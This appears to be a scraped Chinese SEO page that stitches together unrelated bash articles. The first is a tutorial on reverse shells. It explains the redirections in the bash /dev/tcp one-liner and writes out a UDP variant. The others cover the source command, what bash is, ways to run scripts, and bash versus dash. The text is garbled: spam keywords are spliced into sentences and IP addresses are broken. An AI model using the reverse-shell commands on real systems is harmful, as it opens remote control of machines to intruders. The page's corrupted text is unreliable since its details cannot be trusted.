皮皮网

【vb6.0 源码】【核心ioc源码】【lisp插件源码】bash shell 源码

时间:2024-11-30 03:09:00 分类:焦点 来源:newsdig源码

1.反弹shell基础
2.怎么用source命令?
3.linux中bash是什么
4.linux shell脚本执行命令
5.脚本运行异常:bash和dash的区别

bash shell 源码

反弹shell基础

        将这句话拆开来看, bash -i , >& , /dev/tcp/ , 0>&1 ,有三个知识点。

        (1) bash -i 是打开一个交互的bash

        (2) /dev/tcp/ 是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。同理,Linux中还存在/dev/udp/。

        (3) >& 和 0>&1 这两个涉及到Linux文件描述符和重定向。此处的 & 是取地址符

        (1)文件描述符

        Linux启动时会默认打开三个文件描述符(实现文件读写操作),Linux把键盘、显示器等设备也当做文件用文件描述符进行控制,如果要修改默认设备就需要进行重定向。

        (2)重定向

        输入的重定向包括, < 和 << ,输出的重定向包括, > 和 >> , n< file 代表将文件描述符 n 重定向到file指代的文件(以只读方式打开),如果n省略就是0(标准输入)。同理如果是输出的重定向, n> file ,n省略则默认是1。

        错误输出的重定向有三种形式

        其中, &> 和 >& 是一个意思,都是将标准错误输出合并到标准输出中。 2>&1 和 >file 可以用如下过程图表示

        需要注意的是,上述输入输出重定向,将输入和输出绑定到文件或者设备只对该条指令有效,如果想要一直有效,就需要添加exec指令 exec n </> file/n

        (3)复制

        与之形似的是文件描述符的复制 n<&m / n>&m ,这两个都是将文件描述符 n 复制到 m ,两者的区别是,前者是以只读的形式打开,后者是以写的形式打开,因为读/写方式对于复制操作几乎没有影响所以两者基本可以看作是等价的。这里的 & 目的是区分以数字为名字的文件和文件描述符的数值,如果没有 & 系统会认为是将文件描述符重定向到了一个数字作为文件名的文件,而不是另一个文件描述符。

        此时再来看这句命令,可与理解为,创建一个可交互的bash和一个到..1.1:的TCP链接,然后将bash的输入输出错误都重定向到在..1.1:监听的进程。

        首先,反弹shell可以理解为,攻击者监听在TCP/UDP端口,被控制端的请求被转发到该端口,可以控制其输入输出。一般攻击者攻击了一台机器,并用自己的主机去连接该机器的端口,这是一种“正向连接”,远程桌面、web服务、ssh、telnet等都是正向连接的一种。但是如果被攻击的机器处于内网中可能造成无法连接,或者有防火墙等限制,再或者攻击者需要进行实时控制,正向连接是无法满足需要的。所以有了“反向连接”,即让被攻击的主机主动去连接攻击者的服务器。

        所以我们还可以从反向连接的角度来理解一下 0>&1 。如果只是 bash -i >& /dev/tcp/..1.1/ ,将输出描述符连接到了端口,该端口可接收到我们的输出,即我们正向连接了被攻击者的机器,但是我们输入shell后是无法看到回显的。回显只会显示在被攻击者的机器上。如果我们想要得到回显,需要将被攻击机器的输入描述符连接到我们监听的端口上。

        也就是说如果我们想要看到回显,除了先将输出描述符连接到端口上,还需要将其输入描述符也连接到端口上。即输入描述符0和输出描述符1连接相同, 0>&1 即可解决。这就形成了一个回路,实现了远程交互式shell的功能。

        不过这样的一条指令还不够完善,因为这条指令会使得我们在被攻击的机器上依然能看到我们在攻击者机器中执行的指令,那么解决办法就是将错误输出和标准输出进行混合,即将 bash -i > 换为 bash -i >&

        Bash相关shell主要有以下几种:

        刚才详细讲的是第一种bash shell,第二种是将 >& 这种错误输出的混合方式改成了 2>&1 ,2代表错误输出,1代表标准输出,2指向了1,即输出混合了。文件描述符的复制 n<&m / n>&m 两种虽然读写不同但是对于shell的效果是等价的,即和 0>&1 效果相同。所以第二种就是第一种的变种。第四种同理,输入、输出、报错都定位到同一位置。第五种选了一个新的文件描述符,道理类似。

        对于第三种bash shell,exec已经在前面提到过可以持续连接,后面的关键点如下:

        从文件中依次读取每一行,将其赋值给 line 变量(其他也可),之后在循环中对line进行操作。这里不再从文件中读取,而是通过管道符对攻击者机器上输入的命令进行依次执行,并且将标准输出和标准错误输出都重定向到了文件描述符5,也就是攻击机上,实现交互式shell的功能。

        另外,本文最开始的时候说到/dev/tcp/是Linux中的一个特殊设备类似的还有/dev/udp/,按照tcp的方式直接改成udp就行。

        sh -i >& /dev/udp/..1.1/ 0>&1

        除了bash还有很多其他借用第三方工具(nc、telnet、socat、xterm)或使用脚本语言(python、Perl、Ruby、Go、PHP、Lua、JAVA、gawk、Powershell)反弹shell的方式,这里就不一一列举了,原理类似。写这篇文章总结shell的过程中顺手将网络上的shell进行了收集,将近条,写了BashShell.py,就是个简单的查询shell的工具,有需要的下方留言

怎么用source命令?

       结论:source命令是bash shell中的一个内置命令,通常用"."符号替代,用于在当前bash环境中读取并执行指定的文件中的命令,实现脚本环境的共享和变量的实时更新。通过源代码执行,可以避免在子shell中修改变量导致的vb6.0 源码父shell感知不到的问题。

       改写后:

       source命令,作为bash shell的内置功能,其主要操作是"source FileName",或者简单地使用"."与文件名隔开。它的作用在于,将文件中的命令在当前shell环境中执行,而不是创建新的子进程,从而确保脚本中设置的变量可以直接影响到父shell环境。

       使用source的一个典型场景是,当你在bash_profile或bashrc等初始化文件中修改了变量,可通过source命令实时更新这些更改,而无需注销并重新登录。例如,核心ioc源码如果在.sh脚本中export了变量KK=,通过source而非直接运行脚本,你会看到变量的值被正确设置。

       此外,source也常用于简化编译过程,例如,将编译核心的一系列命令整理成一个文件,每次编译时只需运行source命令,无需重复输入长串命令,lisp插件源码提高了效率和准确性。

       sh编程中,source命令还能结合逻辑运算符如"&&"和"||",确保命令按预期顺序执行,即使遇到错误也能控制后续命令的执行。总的来说,source是一个强大而实用的工具,用于管理和共享脚本环境变量。

linux中bash是go pool源码什么

       linux中bash是什么?我们一起来了解一下吧。

       bash是指GNU项目编写的中的Unixshell,也就是指的linux所用的shell,而Shell是指提供使用者使用界面的软件,也就是一个命令行解释器,BASH是SHELL中的一种,是大多数LINUX发行版默认的SHELL。

       linux系统与windows系统的区别

       区别1:开放性

       所谓的开放性就是linux操作系统是开放源码系统,可以对其程序进行编辑修改。而微软的redis实战源码windows系统是手微软版权保护,就是只能微软内部进行开发及修改。

       区别2:价格不同

       linux系统是免费使用,而微软开发的windows系统则是需要花费金钱去购买。

       区别3:文件格式不同

       windows操作系统内核是NT,而linux是shell;另外,windows硬盘文件格式是fat或NTSF,而linux需要的文件格式是ext2或ext3,该操作系统还多一个SWAP格式的交换分区。

linux shell脚本执行命令

       方式一:

       切换到shell脚本所在的目录(也叫工作目录)执行shell脚本,具体代码是:

       cd /data/shell

       ./hello.sh

       方式二:

       可以以绝对路径的方法去执行bash shell脚本,具体代码是:

       /data/shell/hello.sh

       方式三:

       可以选择直接使用bash命令或者sh命令来执行bash shell脚本,具体代码是:

       cd /data/shell

       bash hello.sh

       或者

       cd /data/shell

       sh hello.sh

       方式四:

       还可以选择在当前的shell环境中执行bash shell脚本,具体代码是:

       cd /data/shell

       . hello.sh

       或

       cd /data/shell

       source hello.sh

       说明:前三种方式执行shell脚本时都需要在当前shell(即父shell)开启的一个子shell环境中执行,完成之后就会关闭回到原来的shell中,但方式四是直接在当前的shell中执行的。

脚本运行异常:bash和dash的区别

       ubuntu下shell脚本运行异常:bash和dash的区别我用bash到语法写了一个shell脚本(准确的说是把书上的脚本敲进电脑),在ubuntu下,用sh test.sh来运行,但是出现了意料之外到结果,比如echo -e /nTest/n到执行就不同,直接用sh test.sh运行,会打印出-e(作为字符串);而直接在终端中输入echo -e /nTest/n是不会输出-e的。我就在想是什么原因,后来终于发现是Ubuntu下sh默认指向dash。echo $SHELL --> /bin/bashtype sh --> /bin/sh然后我到/bin下看了有sh -> dash,原来sh是/bin/dash的链接。后来google了一下才发现,buntu6.已将先前默认的bashshell更换为了dash。其表现是/bin/sh链接到了/bin/dash而不是传统的/bin/bash。bash - GNU Bourne-Again SHelldash - Debian Almquist Shell可以分别man bash / man dash看一下。那么怎么把sh改为指向bash呢?最暴力的方法当然是直接把/bin/sh的软链接改到bash中,如:ln -s /bin/bash /bin/sh但是,有优雅一些的方法,sudo dpkg-reconfigure dash出现菜单问你是否要dash的时候,选no就可以了。再次检查一下, ls /bin/sh -al 发现软链接指向/bin/bash就可以了。

copyright © 2016 powered by 皮皮网   sitemap